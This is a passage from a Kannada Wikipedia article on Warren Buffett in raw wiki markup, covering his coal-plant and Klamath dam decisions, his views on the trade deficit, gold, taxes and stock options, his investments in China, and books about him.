Library]</ref>}} === ಬಫೆಟ್‌‌‌ ಹಾಗೂ ಕಲಿದ್ದಲು === 2007ನೇ ಇಸವಿಯಲ್ಲಿ, ಬಫೆಟ್‌ರ [[ಮಿಡ್‌ಅಮೇರಿಕನ್‌ ಎನರ್ಜಿ ಕಂಪನಿ]]ಯ ಅಧೀನದಲ್ಲಿರುವ [[ಪೆಸಿಫಿಕಾರ್ಪ್]] ಸಂಸ್ಥೆಯು‌, ಯೋಜಿಸಲಾಗಿದ್ದ ಆರು ಕಲ್ಲಿದ್ದಲು ಅವಲಂಬಿತ ಶಕ್ತಿಸ್ಥಾವರಗಳನ್ನು ರದ್ದುಮಾಡಿತು. ಇವುಗಳಲ್ಲಿ ಉಟಾಹ್‌ನ [[ಪರ್ವತಗಳ ನಡುವಿನ ಶಕ್ತಿಯೋಜನೆ]]ಯ 3ನೇ ಘಟಕ, ಜಿಮ್ ಬ್ರಿಡ್ಜರ್‌ನ 5ನೇ ಘಟಕ, ಹಾಗೂ ಪೆಸಿಫಿಕಾರ್ಪ್‌ನ ಸಂಯೋಜಿತ ಸಂಪನ್ಮೂಲ ಯೋಜನೆ ಸೇರಿದ್ದವು. ಸಾಲ್ಟ್ ಲೇಕ್ ಪಟ್ಟಣದ ಸ್ಥಿರಾಸ್ತಿ ದಲ್ಲಾಳಿಯಾದ ಅಲೆಗ್ಸಾಂಡರ್ ಲಾಫ್ಟ್‌ರು ವೈಯಕ್ತಿಕವಾಗಿ ಬಫೆಟ್‌ರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು ರದ್ದತಿಗಾಗಿ ಏರ್ಪಡಿಸಿದ ಮನವಿ ಸಲ್ಲಿಕೆಯೂ ಸೇರಿದಂತೆ ನಿಯಂತ್ರಕರು ಹಾಗೂ ಸಾರ್ವಜನಿಕ ಗುಂಪುಗಳ ಒತ್ತಡದಿಂದಾಗಿ ಅವುಗಳನ್ನು ಸ್ಥಗಿತಗೊಳಿಸಬೇಕಾಯಿತು. ಅದರಲ್ಲಿ 1,600 ಅರ್ಜಿದಾರರು, ಒಕ್ಕೊರಲಿನಿಂದ ಬಫೆಟ್‌ರಿಗೆ ಪತ್ರವೊಂದನ್ನು ಬರೆದು ತಮ್ಮನ್ನು ತಾವು " ನಾಗರೀಕರ ಗುಂಪಾಗಿದ್ದು, ಉದ್ಯಮದ ಮಾಲೀಕರು ಹಾಗೂ ಪ್ರಬಂಧಕರು, ಸೇವಾ ವೃತ್ತಿಪರರು, ಸಾರ್ವಜನಿಕ ಸೇವಕರು, ಹಾಗೂ ಸಂಘಸಂಸ್ಥೆಯ ಪ್ರತಿನಿಧಿಗಳು... ನಿಮ್ಮ ಸ್ನೇಹಿತರು ಹಾಗೂ ಇಲ್ಲಿಂದೀಚೆಗೆ ಉಟಾಹ್‌ನಲ್ಲಿ ನಿಮ್ಮ ಹೊಸ ಗ್ರಾಹಕರಾದ ನಾವು, " ಎಂದು ವಿವರಿಸುತ್ತಾ, ಅವರ ದೃಷ್ಟಿಯಲ್ಲಿ, ಉಟಾಹ್‌ನಲ್ಲಿ ಕಲ್ಲಿದಲಿನ ಉತ್ಪಾದನೆಯನ್ನು ಮತ್ತೂ ಮುಂದುವರೆಸುವುದಾದರೆ "ನಮ್ಮ ಆರೋಗ್ಯವನ್ನು ಹಾಳುಮಾಡಿ, ನಮ್ಮ ದೃಷ್ಟಿಯನ್ನು ಮಂದಗೊಳಿಸುವುದಲ್ಲದೇ, ನಮ್ಮ ಜಲ ಮೂಲಗಳನ್ನು ಕುಗ್ಗಿಸುತ್ತವೆ ಹಾಗೂ ಕಲುಷಿತಗೊಳಿಸುತ್ತವೆ, ಹಾಗೂ ನಾವು ಇಷ್ಟಪಡುವ ಹಿಮಚ್ಛಾದಿತ ಪ್ರದೇಶವನ್ನು ಕರಗಿಸುತ್ತವೆ," ಎಂದು ಹೇಳಿ " ನಾವು ಜೀವನ ನಡೆಸುವ ಹಾಗೂ ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಿರುವ ಆಕರ್ಷಕ ಪ್ರದೇಶವೆನಿಸಿಕೊಂಡಿರುವ ನಮ್ಮ ನಗರದ ಕೀರ್ತಿಯು ಇದರಿಂದಾಗಿ ಅಪಾಯಕ್ಕೊಳಗಾಗುವ ಸಂಭವವಿದೆ, ಹಾಗೂ ನಾವು ನೆಲೆಸಿರುವ ಪ್ರದೇಶವು ಒಂದು ರಾಜ್ಯವಾಗಿ ಮತ್ತು ಪ್ರಮುಖ ಮಹಾನಗರವಾಗಿ ಉತ್ತಮಗೊಳ್ಳುತ್ತಿರುವ ತನ್ನ ಆರ್ಥಿಕ ಸ್ಪರ್ಧಾತ್ಮಕತೆಯನ್ನು ಕಳೆದುಕೊಳ್ಳಬೇಕಾಗುತ್ತದೆ" ಎಂಬ ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸುತ್ತಾರೆ."<ref>[http://gristmill.grist.org/story/2008/4/14/01432/7381 "ದ ಎಜ್ಯುಕೇಷನ್‌ ಆಫ್‌ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌: ವೈ ಡಿಡ್‌ ದ ಗುರು ಕ್ಯಾನ್ಸಲ್‌ ಸಿಕ್ಸ್‌ ಕೋಲ್‌ ಪ್ಲಾಂಟ್ಸ್‌?"] {{Webarchive|url=https://web.archive.org/web/20090209201127/http://gristmill.grist.org/story/2008/4/14/01432/7381 |date=2009-02-09 }} ಟೆಡ್‌ ನೇಸ್‌, ಗ್ರಿಸ್ಟ್‌ಮಿಲ್‌, ಏಪ್ರಿಲ್‌ 15, 2008</ref> === ಕ್ಲಮಾಥ್ ನದಿ === ಅಮೆರಿಕನ್‌ ಇಂಡಿಯನ್ ಬುಡಕಟ್ಟು ಜನಾಂಗ ಹಾಗೂ ಸಾಲ್ಮನ್ ಮೀನುಹಿಡಿಯುವವರು ವಾರೆನ್ ಬಫೆಟ್‌ರಿಂದ ಬೆಂಬಲಗಳಿಸಿ ಜಲವಿದ್ಯುತ್‌ ಯೋಜನೆಗಾಗಿ ಕ್ಲಮಾಥ್‌ ನದಿಗೆ ಅಣೆಕಟ್ಟೆ ಕಟ್ಟುವುದನ್ನು ತಡೆಯವುದರಲ್ಲಿ ಯಶಸ್ವಿಯಾದರು. ಅವರ ಜೊತೆಗಿದ್ದ ಡೇವಿಡ್ ಸೊಕೊಲ್‌ ಆ ಸಮಸ್ಯೆಗೆ [[FERC]] ಉತ್ತರ ನೀಡುತ್ತದೆ ಎಂದು ತಿಳಿಸಿದರು.<ref>{{cite journal|url=http://www.usatoday.com/money/topstories/2008-05-03-3055404993_x.htm|title=Buffett again rebuffs advocates who want Klamath dams out| author=Josh Funk|date=5/3/2008|work=USA Today}}</ref><ref>[http://www.indybay.org/newsitems/2009/05/01/18592169.php Indybay.org]</ref> === ಉದ್ಯಮದ ಕೊರತೆಯ ಪ್ರಮಾಣ === ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌'ನ ಹೆಚ್ಚುತ್ತಿರುವ [[ಉದ್ಯಮದ ಕೊರತೆ]]ಯ ಪ್ರಮಾಣವು U.S. ಡಾಲರ್ ಹಾಗೂ U.S.ನ ಸೊತ್ತುಗಳ ಬೆಲೆಯನ್ನು ಕಡಿಮೆಮಾಡುವಂತಹಾ ಒಂದು ಶೈಲಿ ಎಂದು ಬಫೆಟ್ ಪರಿಗಣಿಸುತ್ತಾರೆ. ದೊಡ್ಡ ಪ್ರಮಾಣದಲ್ಲಿ U.S.ನ ಸ್ವತ್ತುಗಳ ಒಡೆತನವನ್ನು ವಿದೇಶೀಯರಿಗೆ ಒಪ್ಪಿಸುತ್ತಿರುವ ಪರಿಣಾಮವಾಗಿ ದೀರ್ಘಾವಧಿಯಲ್ಲಿ U.S. ಡಾಲರ್ ತನ್ನ ಬೆಲೆಯನ್ನು ಕಳೆದುಕೊಳ್ಳುತ್ತದೆ ಎಂದು ನಂಬಿದ್ದಾರೆ. ವಾರೆನ್ ಬಫೆಟ್ ಇನ್ನು ಕೇವಲ ಹತ್ತು ವರ್ಷಗಳಲ್ಲಿ U.S.ನಲ್ಲಿ ಹೊರಗಿನವರ ಒಡೆತನವು ಒಟ್ಟಾರೆಯಾಗಿ ಸರಿಸುಮಾರು $11 ಸಹಸ್ರಕೋಟಿಯಷ್ಟಾಗುತ್ತದೆ ಎಂದು 2005ನೇ ಇಸವಿಯ ಮಾರ್ಚ್‌ನಲ್ಲಿ ಅಂದಾಜು ಮಾಡಿ ಷೇರುದಾರರಿಗೆ ಪತ್ರ ಬರೆದಿದ್ದರು. “ಅಮೇರಿಕಾದವರು… ತಮಗೆ ಸಾಲ ನೀಡುವವರು ಹಾಗೂ ವಿದೇಶಿ ಒಡೆಯರಿಗೆ ಸತತವಾಗಿ ಕಪ್ಪಕಾಣಿಕೆ ನೀಡುವ ಯೋಜನೆಯಿಂದ ಸಿಡಿಮಿಡಿಗೊಂಡಿದ್ದಾರೆ. ‘[[ಒಡೆತನ ಸಮಾಜ]]’ವನ್ನು ನಿರ್ಮಾಣ ಮಾಡಬೇಕೆಂಬ ಆಸೆ ಇರುವ ಒಂದು ದೇಶ ಸಂತೋಷವಾಗಿರಲು ಸಾಧ್ಯವಿಲ್ಲ—ಹಾಗೂ ಅದಕ್ಕೆ ನಾನು ಒತ್ತು ನೀಡುವ ಬದಲು ಉತ್ಪ್ರೇಕ್ಷೆಯಿಂದಲೇ—'[[ಷೇರು ಹುಟ್ಟು ಹಾಕಿದ ಸಮಾಜ]]’ ಎಂದು ಕರೆಯುತ್ತೇನೆ.” [[ಆನ್ ಪೆಟ್ಟಿಫರ್]] ಎಂಬ ಲೇಖಕಿ: "ಅವರು ಹೇಳುವುದು ನಿಜ. ಹಾಗೂ ನಾವುಗಳು ಈ ಸಮಯದಲ್ಲಿ ಕೇವಲ ಬ್ಯಾಂಕುಗಳು ಕುಸಿದುಬೀಳುವುದರ ಹಾಗೂ ಬಂಡವಾಳ ಹೂಡಿಕೆಯ ಬಗ್ಗೆ ಅಥವಾ ಹಣಕಾಸಿನ ರಚನೆಯಲ್ಲಷ್ಟೇ ಅಲ್ಲದೆ 'ಷೇರು ಹುಟ್ಟು ಹಾಕುವವರ ಸಮಾಜವು ತಾವು ಕುಸಿದುಬೀಳುವಾಗ ತೋರುವ ಕ್ರೋಧದ ರೀತಿ'ಯ ಬಗ್ಗೆಯೂ ಎಚ್ಚರಿಕೆ ವಹಿಸಬೇಕಾಗಿದೆ ಎಂದು ತಮ್ಮ ಲೇಖನದಲ್ಲಿ ಹೇಳುತ್ತಾರೆ".<ref>{{cite web|url=http://www.washingtonpost.com/wp-dyn/content/article/2005/08/06/AR2005080600862.html |title=A Sharecropper's Society? |publisher=Washingtonpost.com |date=2005-08-07 |accessdate=2009-02-23}}</ref> === ಡಾಲರ್ ಹಾಗೂ ಚಿನ್ನ === ಬಫೆಟ್ ಮೊದಲ ಬಾರಿಗೆ 2002ನೇ ಇಸವಿಯಲ್ಲಿ ವಿದೇಶೀ ನಗದು ಮಾನಕದ ಮಾರುಕಟ್ಟೆಗೆ ಪ್ರವೇಶಿಸುವುದಕ್ಕೆ ಇದು ಕಾರಣವಾಯಿತು. ಆದಾಗ್ಯೂ, ಬದಲಾಗುತ್ತಿರುವ ಬಡ್ಡಿ ದರಗಳು ಹಾಗೂ ವಿದೇಶಿ ಹಣವನ್ನು ತಡೆಹಿಡಿಯುವ ಬೆಲೆ ಏರಿಕೆ ಕಂಡಿದ್ದರಿಂದಾಗಿ ಅವರು 2005ನೇ ಇಸವಿಯಲ್ಲಿ ತಮ್ಮ ಷೇರುಗಳನ್ನು ಕಡಿಮೆ ಮಾಡಿದರು. ಬಫೆಟ್‌ರು ಡಾಲರ್ [[ಬೆಲೆ ಕುಸಿಯುವಂತೆ]] ಮಾಡುವುದನ್ನು ಮುಂದುವರೆಸಿದ್ದು, ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ಹೊರಗಿನಿಂದ ಸಾಕಷ್ಟು ಪ್ರಮಾಣದಲ್ಲಿ ವರಮಾನಗಳನ್ನು ಗಳಿಸುತ್ತಿರುವ ಕಂಪನಿಗಳನ್ನು ಗಳಿಸಬೇಕು ಎಂದುಕೊಂಡಿದ್ದೇನೆ ಎಂಬುದಾಗಿ ಅವರು ಹೇಳುತ್ತಾರೆ. ಬಫೆಟ್‌‌‌ USDಗೆ [[ಸ್ವರ್ಣ ಮಾನಕ]] ಬಳಸುವುದರ ಅನುತ್ಪಾದಕತೆಯ ಬಗ್ಗೆ 1998ರಲ್ಲಿ [[ಹಾರ್ವರ್ಡ್‌]]ನಲ್ಲಿ ವಿಷದವಾಗಿ ಹೇಳಿದ್ದರು: {{cquote|It gets dug out of the ground in Africa, or someplace. Then we melt it down, dig another hole, bury it again and pay people to stand around guarding it. It has no utility. Anyone watching from Mars would be scratching their head.}} 1977ರಲ್ಲಿ ಬಫೆಟ್‌‌‌ ಷೇರುಗಳು, ಚಿನ್ನ, ಹೊಲಗಳು ಹಾಗೂ ಹಣದುಬ್ಬರಗಳ ಬಗ್ಗೆ ಹೇಳಿದ್ದರೆಂದು ತಿಳಿಸಲಾಗಿದೆ: {{cquote|stocks are probably still the best of all the poor alternatives in an era of inflation—at least they are if you buy in at appropriate prices.<ref>{{Citation | last=Buffett | first=Warren | title=How Inflation Swindles the Equity Investor | journal=Fortune | date=1977–05}}</ref>}} === ತೆರಿಗೆಗಳು === ಬಫೆಟ್‌‌‌ ತನ್ನ ಆದಾಯದ ಕೇವಲ 19%ರಷ್ಟನ್ನು ಮಾತ್ರವೇ 2006ರಲ್ಲಿ ($48.1 ದಶಲಕ್ಷ) ಒಟ್ಟಾರೆ ಒಕ್ಕೂಟ ತೆರಿಗೆಯಾಗಿ ಪಾವತಿಸಿದ್ದರೆ, (ಅವು ಲಾಭಾಂಶಗಳು ಹಾಗೂ ಬಂಡವಾಳದ ಲಾಭಗಳಾದುದರಿಂದ), ಆತನ ಉದ್ಯೋಗಿಗಳು ಕಡಿಮೆ ಆದಾಯದ ಹೊರತಾಗಿಯೂ ತಮ್ಮ ಆದಾಯದ 33%ರಷ್ಟನ್ನು ತೆರಿಗೆಯಾಗಿ ಕಟ್ಟಿದ್ದರು ಎಂದು ತಿಳಿಸಿದ್ದರು.<ref>{{cite journal|journal=[[Forbes]]|date=2007-11-26|pages=24, 42–3|title=Warren Buffet}}</ref> ಆದರೆ 2008ರಲ್ಲಿ ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇಯು $7.5 ಶತಕೋಟಿಗಳ ಆದಾಯಕ್ಕೆ $1.9 ಶತಕೋಟಿ ಮೊತ್ತವನ್ನು ಒಕ್ಕೂಟದ ಸಾಂಸ್ಥಿಕ ಆದಾಯ ತೆರಿಗೆಯ ರೂಪದಲ್ಲಿ (ಕೇವಲ ಒಕ್ಕೂಟದ ತೆರಿಗೆಯಲ್ಲೇ 26%ಗೂ ಹೆಚ್ಚಿಗೆ) ಪಾವತಿಸಿತ್ತು.<ref>[http://www.hoovers.com/company/Berkshire_Hathaway_Inc/rftfji-1-1njea5.html ] (ಪಡೆದದ್ದು ನವೆಂಬರ್‌ 30, 2009)</ref> ಬಫೆಟ್‌‌‌ರು [[ಉತ್ತರಾಧಿಕಾರ ತೆರಿಗೆ]]ಯನ್ನು ರದ್ದು ಮಾಡುವುದೆಂದರೆ "[[2000ದ ಒಲಿಂಪಿಕ್ಸ್‌‌]]ನ ಚಿನ್ನದ-ಪದಕ ವಿಜೇತರ ಹಿರಿಯ ಪುತ್ರರನ್ನು ಸೇರಿಸಿ 2020ರ ಒಲಿಂಪಿಕ್‌ ತಂಡವನ್ನು ಕಟ್ಟಿದ ಹಾಗೆ" ಎಂದು ಅದರ ಪರವಾಗಿ ಹೇಳಿದ್ದಾರೆ.<ref>{{cite news|accessdate=2008-05-20| url=http://news.bbc.co.uk/2/hi/americas/1170874.stm| title=Rich Americans back inheritance tax|publisher=BBC|date=2001-02-14}}</ref> 2007ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ರು ಸೆನೆಟ್‌ನ ಮುಂದೆ ಹಾಜರಾಗಿ ಹೇಳಿಕೆ ನೀಡುತ್ತಾ [[ಧನಿಕರ ಪ್ರಭುತ್ವ]]ವನ್ನು ತಪ್ಪಿಸಲು ಸ್ಥಿರಾಸ್ತಿ ತೆರಿಗೆಯನ್ನು ಹಾಗೆಯೇ ಉಳಿಸಲು ಆಗ್ರಹಿಸಿದ್ದರು.<ref>{{cite journal| url=http://thehill.com/business--lobby/buffett-tells-senate-finance-panel-dynastic-wealth-on-the-rise-in-u.s.-2007-11-15.html| title=Buffett tells Senate Finance panel ‘dynastic’ wealth on the rise in U.S. | author=Jim Snyder | date=2007-11-15 |work=The Hill }}</ref> ಕೆಲವು ವಿಮರ್ಶಕರು ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇಯು ಹಿಂದಿನ ವ್ಯವಹಾರಗಳಲ್ಲಿ ಸ್ಥಿರಾಸ್ತಿ ತೆರಿಗೆಯಿಂದಾಗಿ ಪಾಲಿಸಿದಾರರನ್ನು ಭವಿಷ್ಯದ ಸ್ಥಿರಾಸ್ತಿ ತೆರಿಗೆ ಪಾವತಿಗಳಿಂದ ತಪ್ಪಿಸಿಕೊಳ್ಳಲು ಅನುಕೂಲವಾಗುವಂತೆ ವಿಮಾ ಪಾಲಿಸಿಗಳನ್ನು ಸಿದ್ಧಪಡಿಸಿ ಅವುಗಳ ಪ್ರಚಾರ ಮಾಡಿ ಅದರ ಲಾಭ ಪಡೆದಿದೆಯಾದ್ದರಿಂದ ಬಫೆಟ್‌‌‌ರು (ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ ಮೂಲಕ) ಸ್ಥಿರಾಸ್ತಿ ತೆರಿಗೆಯ ಮುಂದುವರಿಕೆಯ ಬಗ್ಗೆ ಖಾಸಗಿ ಹಿತಾಸಕ್ತಿ ಹೊಂದಿದ್ದರೆಂದು ವಾದಿಸಿದ್ದರು.<ref>{{cite journal| url=http://findarticles.com/p/articles/mi_m1282/is_16_56/ai_n13684021/?tag=content;col1=| title=Buffetted. The Sage of Omaha loves the estate tax — as well he might| author= Berlau, John | date=2004-08-24 | work=National Review }}</ref> ಬಫೆಟ್‌‌‌ರು ಸರ್ಕಾರವು ಜೂಜನ್ನು ಜನರ ಮೌಢ್ಯಕ್ಕೆ ಕಟ್ಟುವ ತೆರಿಗೆಯೆಂದು ಕರೆದು ಆ ವ್ಯವಹಾರದಲ್ಲಿ ತೊಡಗುವುದು ಹಾಗೂ ಜೂಜುಕಟ್ಟೆಗಳನ್ನು ಕಾನೂನುಬದ್ಧಗೊಳಿಸುವಂತಹಾ ಚಟುವಟಿಕೆಗಳಲ್ಲಿ ತೊಡಗಬಾರದು ಎಂಬ ಅಭಿಪ್ರಾಯ ಹೊಂದಿದ್ದರು.<ref>{{cite web|accessdate=2008-05-20|url=http://www.forbes.com/2004/10/11/cx_da_1011topnews_print.html|title=America, The Casino Nation|publisher=[[Forbes]]|date=2004-10-11|author=Ackman, Dan|archive-date=2008-04-13|archive-url=https://web.archive.org/web/20080413013010/http://www.forbes.com/2004/10/11/cx_da_1011topnews_print.html|url-status=dead}}</ref> === ಷೇರುಗಳ ಆಯ್ಕೆಯ ವೆಚ್ಚಗಳು === ಅವರು ಆದಾಯ ದಾಖಲಾತಿಗಳಲ್ಲಿ [[ಷೇರು ಅವಕಾಶ/ಆಯ್ಕೆಯ ವೆಚ್ಚ]] ಮಾಡುವಿಕೆಯ ಬಗ್ಗೆ ದೃಢವಾಗಿ ಪ್ರೋತ್ಸಾಹ ನೀಡಿದ್ದರು. 2004ರ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ, ಕೇವಲ ಕೆಲವೇ ಕಂಪೆನಿಗಳಿಂದ-ನೀಡಲ್ಪಟ್ಟ ಷೇರು ಆಯ್ಕೆ ಪರಿಹಾರವನ್ನು ಮಾತ್ರವೇ ವೆಚ್ಚವೆಂದು ಪರಿಗಣಿಸುವ ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌‌ ಶಾಸನಸಭೆಯ ಮುಂದಿದ್ದ ಮಸೂದೆಯೊಂದನ್ನು ಉಗ್ರವಾಗಿ ಖಂಡಿಸಿ [[ಇಂಡಿಯಾನಾದ ಪ್ರತಿನಿಧಿ ಸಭೆಯಲ್ಲಿ]] ಒಮ್ಮೆ [[Pi]]ನ ಬೆಲೆಯನ್ನು 3.14159ರಿಂದ 3.2ಕ್ಕೆ 'ಬದಲಾಯಿಸಿದ್ದಕ್ಕೆ' ಈ ಮಸೂದೆಯನ್ನು ಹೋಲಿಸಿ ವ್ಯಂಗ್ಯವಾಡಿದ್ದರು.<ref>[http://www.washingtonpost.com/wp-dyn/articles/A29807-2004Jul5.html ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌, ''ಫಜ್ಜಿ ಮ್ಯಾಥ್‌ ಅಂಡ್‌ ಸ್ಟಾಕ್‌ ಆಪ್ಷನ್ಸ್‌ '' , ದ ವಾಷಿಂಗ್ಟನ್‌ ಪೋಸ್ಟ್‌, ಜುಲೈ 6, 2004, ಪುಟ A19]</ref> <blockquote>ಯಾವುದೇ ಕಂಪೆನಿಯು ಮೌಲ್ಯಯುತವಾದ ಏನನ್ನೇ ಆಗಲಿ ತನ್ನ ಉದ್ಯೋಗಿಗಳ ಸೇವೆಗೆ ಬದಲಾಗಿ ನೀಡಿದರೆ, ಅದು ಸ್ಪಷ್ಟವಾಗಿ ವೇತನ ವೆಚ್ಚವಾಗಿರುತ್ತದೆ. ಹಾಗೂ ಈ ವೆಚ್ಚಗಳು ಆದಾಯ ದಾಖಲೆಯ ಭಾಗವಲ್ಲದೇ ಹೋದರೆ ಬೇರೆ ಯಾವುದರ ಭಾಗವಾಗಿರಬೇಕು?<ref>[http://query.nytimes.com/gst/fullpage.html?res=9B01EFD81538F937A15754C0A9649C8B63&amp;scp=1&amp;sq=buffett%20cooks%20books&amp;st=cse ವಾರೆನ್‌ E. ಬಫೆಟ್‌‌, ''ಹೂ ರಿಯಲೀ ಕುಕ್ಸ್‌ ದ ಬುಕ್ಸ್‌‌?'' , ದ ನ್ಯೂಯಾರ್ಕ್‌ ಟೈಮ್ಸ್‌, ಜುಲೈ 24, 2002]</ref></blockquote> === ಚೀನಾದಲ್ಲಿನ ಹೂಡಿಕೆ === ಬಫೆಟ್‌‌‌ [[ಪೆಟ್ರೋಚೀನಾ]] ಕಂಪೆನಿ ಲಿಮಿಟೆಡ್‌ ಸಂಸ್ಥೆಯಲ್ಲಿ ಹಣ ಹೂಡಿದರಲ್ಲದೇ, ಅಪರೂಪದ ನಡೆಯೊಂದರಲ್ಲಿ ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇಯ ಜಾಲತಾಣದಲ್ಲಿ [[ಹಾರ್ವರ್ಡ್‌]] 2005ರಲ್ಲಿ ಈ ಕಂಪೆನಿಯಿಂದ ಹೂಡಿಕೆ ಮರಳಿ ಪಡೆಯಲು ಕಾರಣವಾಗಿದ್ದ ಸೂಡಾನಿನ ನರಮೇಧದೊಂದಿಗಿರುವ ಸಂಪರ್ಕದಿಂದಾಗಿ ಕೆಲ ಪ್ರತಿಪಾದಕರಿಂದ ವಿರೋಧ ವ್ಯಕ್ತವಾದರೂ ಕೂಡ ಕಂಪೆನಿಯಿಂದ ಹೂಡಿಕೆ ಹಿಂತೆಗೆತ ಮಾಡದಿರುವ ಬಗ್ಗೆ ವಿವರಣೆ<ref>{{cite web|accessdate=2008-05-20|url=http://www.berkshirehathaway.com/sudan.pdf|format=PDF|title=Shareholder Proposal Regarding Berkshire’s Investment In PetroChina|publisher=[[Berkshire Hathaway]]}}</ref> ನೀಡಿದ್ದರು. ಆದಾಗ್ಯೂ ಅವರು, ಕೆಲವೇ ಸಮಯದ ನಂತರ ತಮ್ಮ ಹೂಡಿಕೆಗಳನ್ನು ಮಾರಿದರು, ಇದರಿಂದಾಗಿ 2008ರ ಬೇಸಿಗೆಯಲ್ಲಿ ತೀವ್ರ ಇಳಿಕೆ ಕಂಡ ತೈಲ ಬೆಲೆಯ ಸಮಯದಲ್ಲಿಯೂ ಸಹಾ ಕಂಪೆನಿಯೊಂದಿಗಿದ್ದಿದ್ದರೆ ಅವರಿಗಾಗಬಹುದಾಗಿದ್ದ ಅನೇಕ ಶತಕೋಟಿ ಡಾಲರ್‌ಗಳ ನಷ್ಟದಿಂದ ಪಾರಾದರು. ಅಕ್ಟೋಬರ್‌‌ 2008ರಲ್ಲಿ, ಬಫೆಟ್‌‌, [[BYD ಆಟೋ]] ವಿದ್ಯುಚ್ಚಾಲಿತ ವಾಹನ ಉತ್ಪಾದಕ ಉಪಸಂಸ್ಥೆಯನ್ನು ನಡೆಸುತ್ತಿದ್ದ [[BYD ಕಂಪೆನಿ]]([[SEHK]]: 1211)ಯ 10% ಷೇರುಗಳಿಗೆ $230 ದಶಲಕ್ಷಗಳನ್ನು ಪಾವತಿಸುವ ಮೂಲಕ ನವೀನ ಚೈತನ್ಯದ ವಾಹನೋದ್ಯಮದಲ್ಲಿ ಬಂಡವಾಳ ಹೂಡಿದರು. ಒಂದು ವರ್ಷಕ್ಕೂ ಕಡಿಮೆ ಸಮಯದಲ್ಲೇ, ಈ ಹೂಡಿಕೆಯು ಅವರಿಗೆ 500%ಗೂ ಹೆಚ್ಚಿನ ಲಾಭವನ್ನು ಮರಳಿಸಿತು<ref>{{cite web|accessdate=2009-09-16|url=http://www.chinastakes.com/2009/9/warren-buffets-500-return-from-byd-the-show-just-begun.html|format=html|title=Warren Buffet's 500% Return from BYD: The Show Just Begun?|publisher=[[ChinaStakes]]|archive-date=2009-09-06|archive-url=https://web.archive.org/web/20090906140143/http://www.chinastakes.com/2009/9/warren-buffets-500-return-from-byd-the-show-just-begun.html|url-status=dead}}</ref>. == ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ರ ಬಗೆಗಿನ ಪುಸ್ತಕಗಳು == ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ಹಾಗೂ ಅವರ ಹೂಡಿಕೆ ಯೋಜನೆಗಳ ಬಗ್ಗೆ ಅಸಂಖ್ಯಾತ ಪುಸ್ತಕಗಳನ್ನು ಬರೆಯಲಾಗಿದೆ. ಅಕ್ಟೋಬರ್‌‌ 2008ರಲ್ಲಿ, ಬಫೆಟ್‌‌ರ ಹೆಸರನ್ನು ಶೀರ್ಷಿಕೆಯಲ್ಲಿ ಹೊಂದಿರುವ ಕನಿಷ್ಟ 47 ಪುಸ್ತಕಗಳು ಮುದ್ರಣಗೊಳ್ಳುತ್ತಿವೆ ಎಂದು ''[[USA ಟುಡೇ]]'' ಪತ್ರಿಕೆಯು ವರದಿ ಮಾಡಿತ್ತು. [[ಬಾರ್ಡರ್ಸ್‌ ಬುಕ್ಸ್‌]] ಸಂಸ್ಥೆಯ CEO, ಜಾರ್ಜ್‌ ಜೋನ್ಸ್‌ರು, ಕೇವಲ U.S. ಅಧ್ಯಕ್ಷರುಗಳು, ವಿಶ್ವದ ಪ್ರಮುಖ ರಾಜಕೀಯ ನೇತಾರರು ಹಾಗೂ, [[ದಲಾಯಿ ಲಾಮಾ]]ರು ಮಾತ್ರವೇ ಇಷ್ಟು ಸಂಖ್ಯೆಯ ಪುಸ್ತಕಗಳ ಶೀರ್ಷಿಕೆಯಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿರುವ ಇತರೆ ಜೀವಿತ ವ್ಯಕ್ತಿಗಳು ಎಂದು ಹೇಳಿದುದಾಗಿ ಲೇಖನದಲ್ಲಿ ಉಲ್ಲೇಖಿಸಲಾಗಿದೆ.<ref name="name game">ಡೆಲ್‌ ಜೋನ್ಸ್‌, [http://www.usatoday.com/money/books/2008-10-22-buffett-books_N.htm "ಬುಕ್‌ ಟೈಟಲ್ಸ್‌ ಲೈಕ್‌ ಟು ಪ್ಲೇ ದ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ನೇಮ್‌ ಗೇಮ್‌,"] ''[[USA ಟುಡೇ]]'' , ಅಕ್ಟೋಬರ್‌‌ 22, 2008.</ref> ಬಫೆಟ್‌‌‌ರು ಹೇಳಿದ ಪ್ರಕಾರ ಅವರ ವೈಯಕ್ತಿಕ ಅಚ್ಚುಮೆಚ್ಚಿನ ಪುಸ್ತಕವೆಂದರೆ ಅವರೇ ಹೇಳುವ ಪ್ರಕಾರ [[ಲ್ಯಾರ್ರಿ ಕನ್ನಿಂಗ್‌ಹ್ಯಾಂ]]ರಿಂದ ಸಂಪಾದಿಸಲ್ಪಟ್ಟ "ನನ್ನ ವಾರ್ಷಿಕ ವರದಿ ಪತ್ರಗಳಲ್ಲಿನ ಯೋಜನೆಗಳ ಸುಸಂಬದ್ಧವಾದ ಮರುಜೋಡಣೆ" ''ದ ಎಸ್ಸೇಸ್‌ ಆಫ್‌ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌'' ,<ref>{{Cite book | author=Buffett, Warren; Cunningham, Lawrence | authorlink= | coauthors= | title=The Essays of Warren Buffett: Lessons for Corporate America, Second Edition | date= | publisher=The Cunningham Group | location= | isbn=978-0-9664461-2-8 | pages=}} </ref> ಎಂಬ ಹೆಸರಿನ ಅವರದೇ ಪ್ರಬಂಧಗಳ ಪುಸ್ತಕ.<ref name="name game"/> ಕೆಲ ಉತ್ತಮ-ಮಾರಾಟವಾದ, ಅಥವಾ ಬೇರೆ ರೀತಿಯಲ್ಲಿ ಹೇಳುವುದಾದರೆ ಬಫೆಟ್‌ರ 